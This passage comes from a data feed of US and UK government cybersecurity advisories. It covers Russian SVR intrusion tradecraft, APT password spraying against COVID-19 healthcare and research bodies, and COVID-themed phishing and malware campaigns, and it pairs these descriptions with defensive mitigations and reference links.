about the victim networks, determine if victims had detected the intrusions, and evade eviction actions.\n\n#### **_Recommendations_**\n\nAlthough defending a network from a compromise of trusted software is difficult, some organizations successfully detected and prevented follow-on exploitation activity from the initial malicious SolarWinds software. This was achieved using a variety of monitoring techniques including:\n\n * Auditing log files to identify attempts to access privileged certificates and creation of fake identify providers.\n * Deploying software to identify suspicious behavior on systems, including the execution of encoded PowerShell.\n * Deploying endpoint protection systems with the ability to monitor for behavioral indicators of compromise.\n * Using available public resources to identify credential abuse within cloud environments.\n * Configuring authentication mechanisms to confirm certain user activities on systems, including registering new devices.\n\nWhile few victim organizations were able to identify the initial access vector as SolarWinds software, some were able to correlate different alerts to identify unauthorized activity. The FBI and DHS believe those indicators, coupled with stronger network segmentation (particularly \u201czero trust\u201d architectures or limited trust between identity providers) and log correlation, can enable network defenders to identify suspicious activity requiring additional investigation.\n\n### General Tradecraft Observations\n\nSVR cyber operators are capable adversaries. In addition to the techniques described above, FBI investigations have revealed infrastructure used in the intrusions is frequently obtained using false identities and cryptocurrencies. VPS infrastructure is often procured from a network of VPS resellers. These false identities are usually supported by low reputation infrastructure including temporary e-mail accounts and temporary voice over internet protocol (VoIP) telephone numbers. While not exclusively used by SVR cyber actors, a number of SVR cyber personas use e-mail services hosted on cock[.]li or related domains.\n\nThe FBI also notes SVR cyber operators have used open source or commercially available tools continuously, including Mimikatz\u2014an open source credential-dumping too\u2014and Cobalt Strike\u2014a commercially available exploitation tool.\n\n### Mitigations\n\nThe FBI and DHS recommend service providers strengthen their user validation and verification systems to prohibit misuse of their services.\n\n### Resources\n\n * NSA, CISA, FBI [Joint Cybersecurity Advisory: Russian SVR Targets U.S. and Allied Networks](<https://media.defense.gov/2021/Apr/15/2002621240/-1/-1/0/CSA_SVR_TARGETS_US_ALLIES_UOO13234021.PDF>)\n * CISA: [Remediating Networks Affected by the SolarWinds and Active Directory/M365 Compromise ](<https://us-cert.cisa.gov/remediating-apt-compromised-networks>)\n * CISA [Alert AA21-008A: Detecting Post-Compromise Threat Activity in Microsoft Cloud Environments](<https://us-cert.cisa.gov/ncas/alerts/aa21-008a>)\n * FBI, CISA, ODNI, NSA Joint Statement: [Joint Statement by the Federal Bureau of Investigation, the Cybersecurity and Infrastructure Security Agency, the Office of the Director of National Intelligence (ODNI), and the National Security Agency](<https://www.odni.gov/index.php/newsroom/press-releases/press-releases-2021/item/2176-joint-statement-by-the-federal-bureau-of-investigation-fbi-the-cybersecurity-and-infrastructure-security-agency-cisa-the-office-of-the-director-of-national-intelligence-odni-and-the-national-security-agency-nsa>)\n * CISA Alert [AA20-352A: Advanced Persistent Threat Compromise of Government Agencies, Critical Infrastructure, and Private Sector Organizations](<https://us-cert.cisa.gov/ncas/alerts/aa20-352a>)\n * [CISA Insights: What Every Leader Needs to Know about the Ongoing APT Cyber Activity](<https://www.cisa.gov/sites/default/files/publications/CISA Insights - What Every Leader Needs to Know About the Ongoing APT Cyber Activity - FINAL_508.pdf>)\n * FBI, CISA [Joint Cybersecurity Advisory: Advanced Persistent Threat Actors Targeting U.S. Think Tanks](<https://us-cert.cisa.gov/sites/default/files/publications/AA20-336A-APT_Actors_Targeting_US_ThinkTanks.pdf>)\n * CISA: [Malicious Activity Targeting COVID-19 Research, Vaccine Development ](<https://us-cert.cisa.gov/ncas/current-activity/2020/07/16/malicious-activity-targeting-covid-19-research-vaccine-development>)\n * NCSC, CSE, NSA, CISA Advisory: [APT 29 targets COVID-19 vaccine development](<https://media.defense.gov/2020/Jul/16/2002457639/-1/-1/0/NCSC_APT29_ADVISORY-QUAD-OFFICIAL-20200709-1810.PDF>)\n\n### Revisions\n\nApril 26, 2021: Initial Version\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-04-26T12:00:00", "type": "ics", "title": "Russian Foreign Intelligence Service (SVR) Cyber Operations: Trends and Best Practices for Network Defenders", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-19781"], "modified": "2021-04-26T12:00:00", "id": "AA21-116A", "href": "https://www.cisa.gov/news-events/cybersecurity-advisories/aa21-116a", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-03-14T18:35:54", "description": "### Summary\n\n**This is a joint alert from the United States Department of Homeland Security (DHS) Cybersecurity and Infrastructure Security Agency (CISA) and the United Kingdom\u2019s National Cyber Security Centre (NCSC).**\n\nCISA and NCSC continue to see indications that advanced persistent threat (APT) groups are exploiting the Coronavirus Disease 2019 (COVID-19) pandemic as part of their cyber operations. This joint alert highlights ongoing activity by APT groups against organizations involved in both national and international COVID-19 responses. It describes some of the methods these actors are using to target organizations and provides mitigation advice.\n\nThe joint CISA-NCSC [Alert: (AA20-099A) COVID-19 Exploited by Malicious Cyber Actors](<https://www.us-cert.gov/ncas/alerts/aa20-099a>) from April 8, 2020, previously detailed the exploitation of the COVID-19 pandemic by cybercriminals and APT groups. This joint CISA-NCSC Alert provides an update to ongoing malicious cyber activity relating to COVID-19. For a graphical summary of CISA\u2019s joint COVID-19 Alerts with NCSC, see the following [guide](<https://cisa.gov/sites/default/files/publications/Joint_CISA_UK_Tip-COVID-19_Cyber_Threat_Exploitation_S508C.pdf>).\n\n### COVID-19-related targeting\n\nAPT actors are actively targeting organizations involved in both national and international COVID-19 responses. These organizations include healthcare bodies, pharmaceutical companies, academia, medical research organizations, and local governments.\n\nAPT actors frequently target organizations in order to collect bulk personal information, intellectual property, and intelligence that aligns with national priorities.\n\nThe pandemic has likely raised additional interest for APT actors to gather information related to COVID-19. For example, actors may seek to obtain intelligence on national and international healthcare policy, or acquire sensitive data on COVID-19-related research.\n\n### Targeting of pharmaceutical and research organizations\n\nCISA and NCSC are currently investigating a number of incidents in which threat actors are targeting pharmaceutical companies, medical research organizations, and universities. APT groups frequently target such organizations in order to steal sensitive research data and intellectual property for commercial and state benefit. Organizations involved in COVID-19-related research are attractive targets for APT actors looking to obtain information for their domestic research efforts into COVID-19-related medicine.\n\nThese organizations\u2019 global reach and international supply chains increase exposure to malicious cyber actors. Actors view supply chains as a weak link that they can exploit to obtain access to better-protected targets. Many supply chain elements have also been affected by the shift to remote working and the new vulnerabilities that have resulted.\n\nRecently CISA and NCSC have seen APT actors scanning the external websites of targeted companies and looking for vulnerabilities in unpatched software. Actors are known to take advantage of Citrix vulnerability CVE-2019-19781[[1]](<https://www.us-cert.gov/ncas/alerts/aa20-031a>),[[2]](<https://www.ncsc.gov.uk/news/citrix-alert>) and vulnerabilities in virtual private network (VPN) products from Pulse Secure, Fortinet, and Palo Alto.[[3]](<https://www.us-cert.gov/ncas/alerts/aa20-010a>),[[4]](<https://www.ncsc.gov.uk/news/alert-vpn-vulnerabilities>)\n\n### COVID-19-related password spraying activity\n\nCISA and NCSC are actively investigating large-scale password spraying campaigns conducted by APT groups. These actors are using this type of attack to target healthcare entities in a number of countries\u2014including the United Kingdom and the United States\u2014as well as international healthcare organizations.\n\nPreviously, APT groups have used password spraying to target a range of organizations and companies across sectors\u2014including government, emergency services, law enforcement, academia and research organizations, financial institutions, and telecommunications and retail companies.\n\n### Technical Details\n\n[Password spraying](<https://www.ncsc.gov.uk/blog-post/spray-you-spray-me-defending-against-password-spraying-attacks>) is a commonly used style of brute force attack in which the attacker tries a single and commonly used password against many accounts before moving on to try a second password, and so on. This technique allows the attacker to remain undetected by avoiding rapid or frequent account lockouts. These attacks are successful because, for any given large set of users, there will likely be some with common passwords.\n\nMalicious cyber actors, including APT groups, collate names from various online sources that provide organizational details and use this information to identify possible accounts for targeted institutions. The actors will then \u201cspray\u201d the identified accounts with lists of commonly used passwords.\n\nOnce the malicious cyber actor compromises a single account, they will use it to access other accounts where the credentials are reused. Additionally, the actor could attempt to move laterally across the network to steal additional data and implement further attacks against other accounts within the network.\n\nIn previous incidents investigated by CISA and NCSC, malicious cyber actors used password spraying to compromise email accounts in an organization and then, in turn, used these accounts to download the victim organization\u2019s Global Address List (GAL). The actors then used the GAL to password spray further accounts.\n\nNCSC has previously provided [examples of frequently found passwords](<https://www.ncsc.gov.uk/blog-post/passwords-passwords-everywhere>), which attackers are known to use in password spray attacks to attempt to gain access to corporate accounts and networks. In these attacks, malicious cyber actors often use passwords based on the month of the year, seasons, and the name of the company or organization.\n\nCISA and NCSC continue to investigate activity linked to large-scale password spraying campaigns. APT actors will continue to exploit COVID-19 as they seek to answer additional intelligence questions relating to the pandemic. CISA and NCSC advise organizations to follow the mitigation advice below in view of this heightened activity.\n\n### Mitigations\n\nCISA and NCSC have previously published information for organizations on password spraying and improving password policy. Putting this into practice will significantly reduce the chance of compromise from this kind of attack.\n\n * [CISA alert on password spraying attacks](<https://www.us-cert.gov/ncas/alerts/TA18-086A>)\n * [CISA guidance on choosing and protecting passwords](<https://www.us-cert.gov/ncas/tips/ST04-002>)\n * [CISA guidance on supplementing passwords](<https://www.us-cert.gov/ncas/tips/ST05-012>)\n * [NCSC guidance on password spraying attacks](<https://www.ncsc.gov.uk/blog-post/spray-you-spray-me-defending-against-password-spraying-attacks>)\n * [NCSC guidance on password administration for system owners](<https://www.ncsc.gov.uk/collection/passwords>)\n * [NCSC guidance on password deny lists](<https://www.ncsc.gov.uk/blog-post/passwords-passwords-everywhere>)\n\nCISA\u2019s [Cyber Essentials](<https://www.cisa.gov/sites/default/files/publications/19_1106_cisa_CISA_Cyber_Essentials_S508C_0.pdf>) for small organizations provides guiding principles for leaders to develop a culture of security and specific actions for IT professionals to put that culture into action. Additionally, the UK government\u2019s [Cyber Aware](<https://www.ncsc.gov.uk/cyberaware/home>) campaign provides useful advice for individuals on how to stay secure online during the coronavirus pandemic. This includes advice on protecting passwords, accounts, and devices.\n\nA number of other mitigations will be of use in defending against the campaigns detailed in this report:\n\n * **Update VPNs, network infrastructure devices, and devices being used to remote into work environments with the latest software patches and configurations. **See CISA\u2019s [guidance on enterprise VPN security](<https://www.us-cert.gov/ncas/alerts/aa20-073a>) and NCSC [guidance on virtual private networks](<https://www.ncsc.gov.uk/collection/mobile-device-guidance/virtual-private-networks>) for more information.\n * **Use multi-factor authentication to reduce the impact of password compromises.** See the U.S. National Cybersecurity Awareness Month\u2019s [how-to guide for multi-factor authentication](<https://niccs.us-cert.gov/sites/default/files/documents/pdf/ncsam_howtoguidemfa_508.pdf?trackDocs=ncsam_howtoguidemfa_508.pdf>). Also see NCSC guidance on [multi-factor authentication services](<https://www.ncsc.gov.uk/guidance/multi-factor-authentication-online-services>) and [setting up two factor authentication](<https://www.ncsc.gov.uk/guidance/setting-two-factor-authentication-2fa>).\n * **Protect the management interfaces of your critical operational systems.** In particular, use browse-down architecture to prevent attackers easily gaining privileged access to your most vital assets. See [the NCSC blog on protecting management interfaces](<https://www.ncsc.gov.uk/blog-post/protect-your-management-interfaces>).\n * **Set up a security monitoring capability **so you are collecting the data that will be needed to analyze network intrusions. See the [NCSC introduction to logging security purposes](<https://www.ncsc.gov.uk/guidance/introduction-logging-security-purposes>).\n * **Review and refresh your incident management processes.** See [the NCSC guidance on incident management](<https://www.ncsc.gov.uk/guidance/10-steps-incident-management>).\n * **Use modern systems and software.** These have better security built in. If you cannot move off out-of-date platforms and applications straight away, there are short-term steps you can take to improve your position. See [the NCSC guidance on obsolete platform security](<https://www.ncsc.gov.uk/guidance/obsolete-platforms-security>).\n * **Further information: **Invest in preventing malware-based attacks across various scenarios. See CISA\u2019s guidance on [ransomware](<https://www.us-cert.gov/Ransomware>) and [protecting against malicious code](<https://www.us-cert.gov/ncas/tips/ST18-271>). Also see [the NCSC guidance on mitigating malware and ransomware attacks](<https://www.ncsc.gov.uk/guidance/mitigating-malware-and-ransomware-attacks>).\n\n### Contact Information\n\nCISA encourages U.S. users and organizations to contribute any additional information that may relate to this threat by emailing [CISAServiceDesk@cisa.dhs.gov](<mailto:CISAServiceDesk@cisa.dhs.gov>).\n\nThe NCSC encourages UK organizations to report any suspicious activity to the NCSC via their website: <https://report.ncsc.gov.uk/>.\n\n## Disclaimers\n\n_This report draws on information derived from CISA, NCSC, and industry sources. Any findings and recommendations made have not been provided with the intention of avoiding all risks and following the recommendations will not remove all such risk. Ownership of information risks remains with the relevant system owner at all times._\n\n_CISA does not endorse any commercial product or service, including any subjects of analysis. Any reference to specific commercial products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply their endorsement, recommendation, or favoring by CISA._\n\n### References\n\n[[1] CISA Alert: Detecting Citrix CVE-2019-19781](<https://www.us-cert.gov/ncas/alerts/aa20-031a>)\n\n[[2] NCSC Alert: Actors exploiting Citrix products vulnerability](<https://www.ncsc.gov.uk/news/citrix-alert>)\n\n[[3] CISA Alert: Continued Exploitation of Pulse Secure VPN Vulnerability](<https://www.us-cert.gov/ncas/alerts/aa20-010a>)\n\n[[4] NCSC Alert: Vulnerabilities exploited in VPN products used worldwide](<https://www.ncsc.gov.uk/news/alert-vpn-vulnerabilities>)\n\n### Revisions\n\nMay 5, 2020: Initial Version\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-01-25T12:00:00", "type": "ics", "title": "APT Groups Target Healthcare and Essential Services", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-19781"], "modified": "2022-01-25T12:00:00", "id": "AA20-126A", "href": "https://www.cisa.gov/news-events/cybersecurity-advisories/aa20-126a", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-03-14T18:36:09", "description": "### Summary\n\n**This is a joint alert from the United States Department of Homeland Security (DHS) Cybersecurity and Infrastructure Security Agency (CISA) and the United Kingdom\u2019s National Cyber Security Centre (NCSC).**\n\nThis alert provides information on exploitation by cybercriminal and advanced persistent threat (APT) groups of the current coronavirus disease 2019 (COVID-19) global pandemic. It includes a non-exhaustive list of indicators of compromise (IOCs) for detection as well as mitigation advice.\n\nBoth CISA and NCSC are seeing a growing use of COVID-19-related themes by malicious cyber actors. At the same time, the surge in teleworking has increased the use of potentially vulnerable services, such as virtual private networks (VPNs), amplifying the threat to individuals and organizations.\n\nAPT groups and cybercriminals are targeting individuals, small and medium enterprises, and large organizations with COVID-19-related scams and phishing emails. This alert provides an overview of COVID-19-related malicious cyber activity and offers practical advice that individuals and organizations can follow to reduce the risk of being impacted. The IOCs provided within the accompanying .csv and .stix files of this alert are based on analysis from CISA, NCSC, and industry.\n\n**Note: **this is a fast-moving situation and this alert does not seek to catalogue all COVID-19-related malicious cyber activity. Individuals and organizations should remain alert to increased activity relating to COVID-19 and take proactive steps to protect themselves.\n\n### Technical Details\n\n## Summary of Attacks\n\nAPT groups are using the COVID-19 pandemic as part of their cyber operations. These cyber threat actors will often masquerade as trusted entities. Their activity includes using coronavirus-themed phishing messages or malicious applications, often masquerading as trusted entities that may have been previously compromised. Their goals and targets are consistent with long-standing priorities such as espionage and \u201chack-and-leak\u201d operations.\n\nCybercriminals are using the pandemic for commercial gain, deploying a variety of ransomware and other malware.\n\nBoth APT groups and cybercriminals are likely to continue to exploit the COVID-19 pandemic over the coming weeks and months. Threats observed include:\n\n * Phishing, using the subject of coronavirus or COVID-19 as a lure,\n * Malware distribution, using coronavirus- or COVID-19- themed lures,\n * Registration of new domain names containing wording related to coronavirus or COVID-19, and\n * Attacks against newly\u2014and often rapidly\u2014deployed remote access and teleworking infrastructure.\n\nMalicious cyber actors rely on basic social engineering methods to entice a user to carry out a specific action. These actors are taking advantage of human traits such as curiosity and concern around the coronavirus pandemic in order to persuade potential victims to:\n\n * Click on a link or download an app that may lead to a phishing website, or the downloading of malware, including ransomware. \n * For example, a malicious Android app purports to provide a real-time coronavirus outbreak tracker but instead attempts to trick the user into providing administrative access to install \"CovidLock\" ransomware on their device.[[1]](<https://www.techrepublic.com/article/covidlock-ransomware-exploits-coronavirus-with-malicious-android-app/>)\n * Open a file (such as an email attachment) that contains malware. \n * For example, email subject lines contain COVID-19-related phrases such as \u201cCoronavirus Update\u201d or \u201c2019-nCov: Coronavirus outbreak in your city (Emergency)\u201d\n\nTo create the impression of authenticity, malicious cyber actors may spoof sender information in an email to make it appear to come from a trustworthy source, such as the World Health Organization (WHO) or an individual with \u201cDr.\u201d in their title. In several examples, actors send phishing emails that contain links to a fake email login page. Other emails purport to be from an organization\u2019s human resources (HR) department and advise the employee to open the attachment.\n\nMalicious file attachments containing malware payloads may be named with coronavirus- or COVID-19-related themes, such as \u201cPresident discusses budget savings due to coronavirus with Cabinet.rtf.\u201d\n\n**Note: **a non-exhaustive list of IOCs related to this activity is provided within the accompanying .csv and .stix files of this alert.\n\n## Phishing\n\nCISA and NCSC have both observed a large volume of phishing campaigns that use the social engineering techniques described above.\n\nExamples of phishing email subject lines include:\n\n * 2020 Coronavirus Updates,\n * Coronavirus Updates,\n * 2019-nCov: New confirmed cases in your City, and\n * 2019-nCov: Coronavirus outbreak in your city (Emergency).\n\nThese emails contain a call to action, encouraging the victim to visit a website that malicious cyber actors use for stealing valuable data, such as usernames and passwords, credit card information, and other personal information.\n\n## SMS Phishing\n\nMost phishing attempts come by email but NCSC has observed some attempts to carry out phishing by other means, including text messages (SMS).\n\nHistorically, SMS phishing has often used financial incentives\u2014including government payments and rebates (such as a tax rebate)\u2014as part of the lure. Coronavirus-related phishing continues this financial theme, particularly in light of the economic impact of the epidemic and governments\u2019 employment and financial support packages. For example, a series of SMS messages uses a UK government-themed lure to harvest email, address, name, and banking information. These SMS messages\u2014purporting to be from \u201cCOVID\u201d and \u201cUKGOV\u201d (see figure 1)\u2014include a link directly to the phishing site (see figure 2).\n\n\n\n##### Figure 1: UK government-themed SMS phishing\n\n\n\n##### Figure 2: UK government-themed phishing page\n\nAs this example demonstrates, malicious messages can arrive by methods other than email. In addition to SMS, possible channels include WhatsApp and other messaging services. Malicious cyber actors are likely to continue using financial themes in their phishing campaigns. Specifically, it is likely that they will use new government aid packages responding to COVID-19 as themes in phishing campaigns.\n\n## Phishing for credential theft\n\nA number of actors have used COVID-19-related phishing to steal user credentials. These emails include previously mentioned COVID-19 social engineering techniques, sometimes complemented with urgent language to enhance the lure.\n\nIf the user clicks on the hyperlink, a spoofed login webpage appears that includes a password entry form. These spoofed login pages may relate to a wide array of online services including\u2014but not limited to\u2014email services provided by Google or Microsoft, or services accessed via government websites.\n\nTo further entice the recipient, the websites will often contain COVID-19-related wording within the URL (e.g., \u201ccorona-virus-business-update,\u201d \u201ccovid19-advisory,\u201d or \u201ccov19esupport\u201d). These spoofed pages are designed to look legitimate or accurately impersonate well-known websites. Often the only way to notice malicious intent is through examining the website URL. In some circumstances, malicious cyber actors specifically customize these spoofed login webpages for the intended victim.\n\nIf the victim enters their password on the spoofed page, the attackers will be able to access the victim\u2019s online accounts, such as their email inbox. This access can then be used to acquire personal or sensitive information, or to further disseminate phishing emails, using the victim\u2019s address book.\n\n## Phishing for malware deployment\n\nA number of threat actors have used COVID-19-related lures to deploy malware. In most cases, actors craft an email that persuades the victim to open an attachment or download a malicious file from a linked website. When the victim opens the attachment, the malware is executed, compromising the victim\u2019s device.\n\nFor example, NCSC has observed various email messages that deploy the \u201cAgent Tesla\u201d keylogger malware. The email appears to be sent from Dr. Tedros Adhanom Ghebreyesus, Director-General of WHO. This email campaign began on Thursday, March 19, 2020. Another similar campaign offers thermometers and face masks to fight the epidemic. The email purports to attach images of these medical products but instead contains a loader for Agent Tesla.\n\nIn other campaigns, emails include a Microsoft Excel attachment (e.g., \u201c8651 8-14-18.xls\u201d) or contain URLs linking to a landing page that contains a button that\u2014if clicked\u2014redirects to download an Excel spreadsheet, such as \"EMR Letter.xls\u201d. In both cases, the Excel file contains macros that, if enabled, execute an embedded dynamic-link library (DLL) to install the \u201cGet2 loader\" malware. Get2 loader has been observed loading the \u201cGraceWire\u201d Trojan.\n\nThe \"TrickBot\" malware has been used in a variety of COVID-19-related campaigns. In one example, emails target Italian users with a document purporting to be information related to COVID-19 (see figure 3). The document contains a malicious macro that downloads a batch file (BAT), which launches JavaScript, which\u2014in turn\u2014pulls down the TrickBot binary, executing it on the system.\n\n\n\n##### Figure 3: Email containing malicious macro targeting Italian users[[2]](<https://www.bleepingcomputer.com/news/security/trickbot-malware-targets-italy-in-fake-who-coronavirus-emails/>)\n\nIn many cases, Trojans\u2014such as Trickbot or GraceWire\u2014will download further malicious files, such as Remote Access Trojans (RATs), desktop-sharing clients, and ransomware. In order to maximize the likelihood of payment, cybercriminals will often deploy ransomware at a time when organizations are under increased pressure. Hospitals and health organizations in the United States,[[3]](<https://securityboulevard.com/2020/03/maze-ransomware-continues-to-hit-healthcare-units-amid-coronavirus-covid-19-outbreak/>) Spain,[[4]](<https://www.computing.co.uk/news/4012969/hospitals-coronavirus-ransomware>) and across Europe[[5]](<https://www.bleepingcomputer.com/news/security/covid-19-testing-center-hit-by-cyberattack/>) have all been recently affected by ransomware incidents.\n\nAs always, individuals and organizations should be on the lookout for new and evolving lures. Both CISA[[6]](<https://www.us-cert.gov/ncas/tips/ST18-271>),[[7]](<https://www.us-cert.gov/Ransomware>) and NCSC[[8]](<https://www.ncsc.gov.uk/guidance/mitigating-malware-and-ransomware-attacks>) provide guidance on mitigating malware and ransomware attacks.\n\n## Exploitation of new teleworking infrastructure\n\nMany organizations have rapidly deployed new networks, including VPNs and related IT infrastructure, to shift their entire workforce to teleworking.\n\nMalicious cyber actors are taking advantage of this mass move to telework by exploiting a variety of publicly known vulnerabilities in VPNs and other remote working tools and software. In several examples, CISA and NCSC have observed actors scanning for publicly known vulnerabilities in Citrix. Citrix vulnerability, CVE-2019-19781, and its exploitation have been widely reported since early January 2020. Both CISA[[9]](<https://www.us-cert.gov/ncas/alerts/aa20-031a>) and NCSC[[10]](<https://www.ncsc.gov.uk/news/citrix-alert>) provide guidance on CVE-2019-19781 and continue to investigate multiple instances of this vulnerability's exploitation.\n\nSimilarly, known vulnerabilities affecting VPN products from Pulse Secure, Fortinet, and Palo Alto continue to be exploited. CISA provides guidance on the Pulse Secure vulnerability[[11]](<https://www.us-cert.gov/ncas/alerts/aa20-010a>) and NCSC provides guidance on the vulnerabilities in Pulse Secure, Fortinet, and Palo Alto.[[12]](<https://www.ncsc.gov.uk/news/alert-vpn-vulnerabilities>)\n\nMalicious cyber actors are also seeking to exploit the increased use of popular communications platforms\u2014such as Zoom or Microsoft Teams\u2014by sending phishing emails that include malicious files with names such as \u201czoom-us-zoom_##########.exe\u201d and \u201cmicrosoft-teams_V#mu#D_##########.exe\u201d (# representing various digits that have been reported online).[[13]](<https://blog.checkpoint.com/2020/03/30/covid-19-impact-cyber-criminals-target-zoom-domains/>) CISA and NCSC have also observed phishing websites for popular communications platforms. In addition, attackers have been able to hijack teleconferences and online classrooms that have been set up without security controls (e.g., passwords) or with unpatched versions of the communications platform software.[[14]](<https://www.fbi.gov/contact-us/field-offices/boston/news/press-releases/fbi-warns-of-teleconferencing-and-online-classroom-hijacking-during-covid-19-pandemic>)\n\nThe surge in teleworking has also led to an increase in the use of Microsoft\u2019s Remote Desktop Protocol (RDP). Attacks on unsecured RDP endpoints (i.e., exposed to the internet) are widely reported online,[[15]](<https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/>) and recent analysis[[16]](<https://blog.reposify.com/127-increase-in-exposed-rdps-due-to-surge-in-remote-work>) has identified a 127% increase in exposed RDP endpoints. The increase in RDP use could potentially make IT systems\u2014without the right security measures in place\u2014more vulnerable to attack.[[17]](<https://www.us-cert.gov/ncas/tips/ST18-001>)\n\n## Indicators of compromise\n\nCISA and NCSC are working with law enforcement and industry partners to disrupt or prevent these malicious cyber activities and have published a non-exhaustive list of COVID-19-related IOCs via the following links:\n\n * [AA20-099A_WHITE.csv](<https://www.us-cert.gov/sites/default/files/publications/AA20-099A_WHITE.csv>)\n * [A20-099A_WHITE.stix](<https://www.us-cert.gov/sites/default/files/publications/AA20-099A_WHITE.stix.xml>)\n\nIn addition, there are a number of useful publicly available resources that provide details of COVID-19-related malicious cyber activity:\n\n * Recorded Futures\u2019 report, [_Capitalizing on Coronavirus Panic, Threat Actors Target Victims Worldwide_](<https://go.recordedfuture.com/hubfs/reports/cta-2020-0312-2.pdf>)\n * DomainTools\u2019 [_Free COVID-19 Threat List - Domain Risk Assessments for Coronavirus Threats_](<https://www.domaintools.com/resources/blog/free-covid-19-threat-list-domain-risk-assessments-for-coronavirus-threats>)\n * GitHub list of [IOCs used COVID-19-related cyberattack campaigns](<https://github.com/parthdmaniar/coronavirus-covid-19-SARS-CoV-2-IoCs>) gathered by GitHub user Parth D. Maniar\n * GitHub list of [Malware, spam, and phishing IOCs that involve the use of COVID-19 or coronavirus](<https://github.com/sophoslabs/covid-iocs>) gathered by SophosLabs\n * Reddit master thread to collect [intelligence relevant to COVID-19 malicious cyber threat actor campaigns](<https://www.reddit.com\\\\r\\\\blueteamsec\\\\comments\\\\fiy0i8\\\\master_thread_covid19corona_threat_actor_campaigns\\\\>)\n * Tweet regarding the MISP project\u2019s dedicated [#COVID2019 MISP instance](<https://twitter.com/MISPProject/status/1239864641993551873>) to share COVID-related cyber threat information\n\n### Mitigations\n\nMalicious cyber actors are continually adjusting their tactics to take advantage of new situations, and the COVID-19 pandemic is no exception. Malicious cyber actors are using the high appetite for COVID-19-related information as an opportunity to deliver malware and ransomware, and to steal user credentials. Individuals and organizations should remain vigilant. For information regarding the COVID-19 pandemic, use trusted resources, such as the Centers for Disease Control and Prevention (CDC)\u2019s [COVID-19 Situation Summary](<https://www.cdc.gov/coronavirus/2019-ncov/cases-updates/summary.html?CDC_AA_refVal=https%3A%2F%2Fwww.cdc.gov%2Fcoronavirus%2F2019-ncov%2Fsummary.html>).\n\nFollowing the CISA and NCSC advice set out below will help mitigate the risk to individuals and organizations from malicious cyber activity related to both COVID-19 and other themes:\n\n * [CISA guidance for defending against COVID-19 cyber scams](<https://www.us-cert.gov/ncas/current-activity/2020/03/06/defending-against-covid-19-cyber-scams>)\n * [CISA Insights: Risk Management for Novel Coronavirus (COVID-19)](<https://www.cisa.gov/sites/default/files/publications/20_0318_cisa_insights_coronavirus.pdf>), which provides guidance for executives regarding physical, supply chain, and cybersecurity issues related to COVID-19\n * [CISA Alert: Enterprise VPN Security](<https://www.us-cert.gov/ncas/alerts/aa20-073a>)\n * [CISA webpage providing a repository of the agency\u2019s COVID-19 guidance](<https://www.cisa.gov/coronavirus>)\n * [NCSC guidance to help spot, understand, and deal with suspicious messages and emails](<https://www.ncsc.gov.uk/guidance/suspicious-email-actions>)\n * [NCSC phishing guidance for organizations and cyber security professionals](<https://www.ncsc.gov.uk/guidance/phishing>)\n * [NCSC guidance on mitigating malware and ransomware attacks](<https://www.ncsc.gov.uk/guidance/mitigating-malware-and-ransomware-attacks>)\n * [NCSC guidance on home working](<https://www.ncsc.gov.uk/guidance/home-working>)\n * [NCSC guidance on end user device security](<https://www.ncsc.gov.uk/collection/end-user-device-security/eud-overview/vpns>)\n\n## Phishing guidance for individuals\n\nThe NCSC\u2019s [suspicious email guidance](<https://www.ncsc.gov.uk/guidance/suspicious-email-actions>) explains what to do if you've already clicked on a potentially malicious email, attachment, or link. It provides advice on who to contact if your account or device has been compromised and some of the mitigation steps you can take, such as changing your passwords. It also offers NCSC's top tips for spotting a phishing email:\n\n * **Authority **\u2013 Is the sender claiming to be from someone official (e.g., your bank or doctor, a lawyer, a government agency)? Criminals often pretend to be important people or organizations to trick you into doing what they want.\n * **Urgency **\u2013 Are you told you have a limited time to respond (e.g., in 24 hours or immediately)? Criminals often threaten you with fines or other negative consequences.\n * **Emotion **\u2013 Does the message make you panic, fearful, hopeful, or curious? Criminals often use threatening language, make false claims of support, or attempt to tease you into wanting to find out more.\n * **Scarcity **\u2013 Is the message offering something in short supply (e.g., concert tickets, money, or a cure for medical conditions)? Fear of missing out on a good deal or opportunity can make you respond quickly.\n\n## Phishing guidance for organizations and cybersecurity professionals\n\nOrganizational defenses against phishing often rely exclusively on users being able to spot 